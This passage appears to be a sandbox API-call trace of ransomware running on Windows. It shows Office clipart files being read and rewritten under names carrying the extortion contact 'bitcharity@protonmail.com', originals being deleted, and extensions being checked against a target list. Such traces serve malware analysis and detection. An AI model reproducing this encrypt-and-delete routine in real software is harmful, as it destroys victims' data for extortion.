lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0154.010] GetLastError () returned 0x0 [0154.010] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x600, lpOverlapped=0x0) returned 1 [0154.026] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x610, lpOverlapped=0x0) returned 1 [0154.027] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.027] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.027] SetEndOfFile (hFile=0x1098) returned 1 [0154.027] CloseHandle (hObject=0x1098) returned 1 [0154.028] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.028] SetEndOfFile (hFile=0x1084) returned 1 [0154.029] CloseHandle (hObject=0x1084) returned 1 [0154.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0154.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0154.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0154.031] lstrlenW (lpString=".doc") returned 4 [0154.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.031] lstrlenW (lpString=".docx") returned 5 [0154.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.031] lstrlenW (lpString=".pdf") returned 4 [0154.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.031] lstrlenW (lpString=".xls") returned 4 [0154.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.031] lstrlenW (lpString=".xlsx") returned 5 [0154.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.031] lstrlenW (lpString=".ppt") returned 4 [0154.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0154.031] lstrlenW (lpString=".zip") returned 4 [0154.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.031] lstrlenW (lpString=".rar") returned 4 [0154.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.031] lstrlenW (lpString=".bz2") returned 4 [0154.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.031] lstrlenW (lpString=".7z") returned 3 [0154.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0154.031] lstrlenW (lpString=".dbf") returned 4 [0154.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0154.031] lstrlenW (lpString=".1cd") returned 4 [0154.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0154.031] lstrlenW (lpString=".jpg") returned 4 [0154.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.038] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.038] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.039] GetLastError () returned 0x0 [0154.039] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x6c8, lpOverlapped=0x0) returned 1 [0154.126] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x6d0, lpOverlapped=0x0) returned 1 [0154.127] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.127] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.127] SetEndOfFile (hFile=0x10d8) returned 1 [0154.127] CloseHandle (hObject=0x10d8) returned 1 [0154.128] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.128] SetEndOfFile (hFile=0x10d0) returned 1 [0154.129] CloseHandle (hObject=0x10d0) returned 1 [0154.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0154.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0154.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0154.130] lstrlenW (lpString=".doc") returned 4 [0154.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.130] lstrlenW (lpString=".docx") returned 5 [0154.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.130] lstrlenW (lpString=".pdf") returned 4 [0154.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.131] lstrlenW (lpString=".xls") returned 4 [0154.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.131] lstrlenW (lpString=".xlsx") returned 5 [0154.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.131] lstrlenW (lpString=".ppt") returned 4 [0154.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0154.131] lstrlenW (lpString=".zip") returned 4 [0154.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.131] lstrlenW (lpString=".rar") returned 4 [0154.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.131] lstrlenW (lpString=".bz2") returned 4 [0154.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.131] lstrlenW (lpString=".7z") returned 3 [0154.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0154.131] lstrlenW (lpString=".dbf") returned 4 [0154.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0154.131] lstrlenW (lpString=".1cd") returned 4 [0154.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0154.131] lstrlenW (lpString=".jpg") returned 4 [0154.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.132] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.132] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.132] GetLastError () returned 0x0 [0154.133] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x9fc, lpOverlapped=0x0) returned 1 [0154.158] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xa00, lpOverlapped=0x0) returned 1 [0154.159] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.160] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.160] SetEndOfFile (hFile=0x10d8) returned 1 [0154.160] CloseHandle (hObject=0x10d8) returned 1 [0154.161] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.161] SetEndOfFile (hFile=0x10d0) returned 1 [0154.162] CloseHandle (hObject=0x10d0) returned 1 [0154.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0154.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0154.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0154.165] lstrlenW (lpString=".doc") returned 4 [0154.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.165] lstrlenW (lpString=".docx") returned 5 [0154.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.165] lstrlenW (lpString=".pdf") returned 4 [0154.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.165] lstrlenW (lpString=".xls") returned 4 [0154.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.165] lstrlenW (lpString=".xlsx") returned 5 [0154.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.165] lstrlenW (lpString=".ppt") returned 4 [0154.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0154.165] lstrlenW (lpString=".zip") returned 4 [0154.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.166] lstrlenW (lpString=".rar") returned 4 [0154.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.166] lstrlenW (lpString=".bz2") returned 4 [0154.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.166] lstrlenW (lpString=".7z") returned 3 [0154.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0154.166] lstrlenW (lpString=".dbf") returned 4 [0154.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0154.166] lstrlenW (lpString=".1cd") returned 4 [0154.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0154.166] lstrlenW (lpString=".jpg") returned 4 [0154.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.167] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.167] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.168] GetLastError () returned 0x0 [0154.168] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xa54, lpOverlapped=0x0) returned 1 [0154.185] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xa60, lpOverlapped=0x0) returned 1 [0154.186] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.186] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.186] SetEndOfFile (hFile=0x10d8) returned 1 [0154.187] CloseHandle (hObject=0x10d8) returned 1 [0154.189] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.189] SetEndOfFile (hFile=0x10d0) returned 1 [0154.190] CloseHandle (hObject=0x10d0) returned 1 [0154.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0154.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0154.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0154.191] lstrlenW (lpString=".doc") returned 4 [0154.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString=".docx") returned 5 [0154.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.191] lstrlenW (lpString=".pdf") returned 4 [0154.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString=".xls") returned 4 [0154.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.191] lstrlenW (lpString=".xlsx") returned 5 [0154.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.191] lstrlenW (lpString=".ppt") returned 4 [0154.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0154.191] lstrlenW (lpString=".zip") returned 4 [0154.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.191] lstrlenW (lpString=".rar") returned 4 [0154.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString=".bz2") returned 4 [0154.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.191] lstrlenW (lpString=".7z") returned 3 [0154.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0154.192] lstrlenW (lpString=".dbf") returned 4 [0154.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0154.192] lstrlenW (lpString=".1cd") returned 4 [0154.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0154.192] lstrlenW (lpString=".jpg") returned 4 [0154.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.192] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.192] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.193] GetLastError () returned 0x0 [0154.193] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0154.234] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0154.235] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.235] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.235] SetEndOfFile (hFile=0x10d8) returned 1 [0154.236] CloseHandle (hObject=0x10d8) returned 1 [0154.237] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.237] SetEndOfFile (hFile=0x10d0) returned 1 [0154.238] CloseHandle (hObject=0x10d0) returned 1 [0154.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0154.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0154.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0154.239] lstrlenW (lpString=".doc") returned 4 [0154.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.239] lstrlenW (lpString=".docx") returned 5 [0154.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.239] lstrlenW (lpString=".pdf") returned 4 [0154.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.239] lstrlenW (lpString=".xls") returned 4 [0154.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.239] lstrlenW (lpString=".xlsx") returned 5 [0154.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.239] lstrlenW (lpString=".ppt") returned 4 [0154.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0154.240] lstrlenW (lpString=".zip") returned 4 [0154.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.240] lstrlenW (lpString=".rar") returned 4 [0154.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.240] lstrlenW (lpString=".bz2") returned 4 [0154.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.240] lstrlenW (lpString=".7z") returned 3 [0154.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0154.240] lstrlenW (lpString=".dbf") returned 4 [0154.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0154.240] lstrlenW (lpString=".1cd") returned 4 [0154.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0154.240] lstrlenW (lpString=".jpg") returned 4 [0154.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.241] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.241] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0154.242] GetLastError () returned 0x0 [0154.242] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x332e, lpOverlapped=0x0) returned 1 [0154.258] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x3330, lpOverlapped=0x0) returned 1 [0154.259] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.259] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.259] SetEndOfFile (hFile=0x10d8) returned 1 [0154.260] CloseHandle (hObject=0x10d8) returned 1 [0154.261] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 